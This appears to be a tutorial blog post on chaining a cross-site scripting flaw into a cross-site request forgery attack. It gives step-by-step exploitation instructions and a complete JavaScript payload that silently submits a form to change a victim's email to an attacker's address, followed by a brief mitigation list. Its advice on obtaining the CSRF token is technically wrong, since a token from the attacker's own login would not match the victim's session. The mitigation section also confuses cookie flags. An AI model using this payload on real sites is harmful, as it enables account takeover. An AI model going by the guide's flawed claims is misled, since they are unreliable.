XSS to CSRF Attack: A Practical Guide

TL;DR

Yes, a site vulnerable to Cross-Site Scripting (XSS) can often be used to exploit a Cross-Site Request Forgery (CSRF) vulnerability on another site. XSS allows you to inject malicious JavaScript code that can then trigger requests to the CSRF-vulnerable site as if they came from a legitimate user.

Understanding the Problem

Let’s break down why this works:

• XSS: Allows an attacker to run arbitrary JavaScript in a victim’s browser.
• CSRF: Forces a logged-in user to perform unwanted actions on a web application they are authenticated with.

If you can inject JavaScript (XSS), you can create a form and submit it automatically, mimicking a legitimate request that the CSRF vulnerability would accept.

Steps to Exploit XSS for CSRF

1. Identify an XSS Vulnerability: Find a place on the target site where you can inject JavaScript. This could be in search boxes, comment fields, or URL parameters.
2. Identify a CSRF Vulnerable Endpoint: Locate an endpoint on another site (or even the same site) that is vulnerable to CSRF. Look for actions like changing passwords, transferring funds, or updating email addresses without proper CSRF protection.
3. Craft the Malicious Payload: Create JavaScript code that will generate and submit a request to the CSRF-vulnerable endpoint. This payload needs to:
   • Create an HTML form with hidden fields containing the necessary parameters for the CSRF request.
   • Set the form’s action attribute to the URL of the vulnerable endpoint.
   • Submit the form automatically using JavaScript.
4. Inject the Payload: Inject your crafted JavaScript payload into the XSS vulnerability on the first site.
5. Victim Visits the Vulnerable Page: When a logged-in user visits the page with the injected XSS code, their browser will execute the malicious script.
6. CSRF Attack Executed: The script will automatically submit the CSRF request to the vulnerable endpoint as if it came from the victim’s session.

Example Scenario

Let’s say:

• Site A (XSS Vulnerable): Has a search box that doesn’t properly sanitize input, allowing XSS.
• Site B (CSRF Vulnerable): Allows changing a user’s email address via a POST request to /profile/change_email with parameters new_email and csrf_token.

The XSS payload could look like this:

<script>
  var form = document.createElement('form');
  form.setAttribute('method', 'post');
  form.setAttribute('action', 'https://siteb.com/profile/change_email');

  var emailInput = document.createElement('input');
  emailInput.setAttribute('type', 'hidden');
  emailInput.setAttribute('name', 'new_email');
  emailInput.setAttribute('value', 'attacker@example.com');
  form.appendChild(emailInput);

  var csrfInput = document.createElement('input');
  csrfInput.setAttribute('type', 'hidden');
  csrfInput.setAttribute('name', 'csrf_token');
  // Replace with the actual CSRF token obtained from Site B (e.g., via a GET request)
  csrfInput.setAttribute('value', 'YOUR_CSRF_TOKEN');
  form.appendChild(csrfInput);

  document.body.appendChild(form);
  form.submit();
</script>

Important: You need to obtain the valid CSRF token from Site B before injecting this payload. This is usually done by logging into Site B and inspecting the HTML source code or network requests for a hidden input field containing the token.

Mitigation

• Input Validation & Output Encoding: Properly sanitize all user inputs to prevent XSS vulnerabilities. Encode outputs to ensure they are treated as data, not executable code.
• CSRF Tokens: Implement strong CSRF tokens for all state-changing requests. These tokens should be unique per session and validated on the server side.
• SameSite Cookies: Use HttpOnly and Secure flags on cookies, and consider using the SameSite attribute to prevent cross-site cookie access.
• Content Security Policy (CSP): Implement a strict CSP to control which resources the browser is allowed to load, reducing the impact of XSS attacks.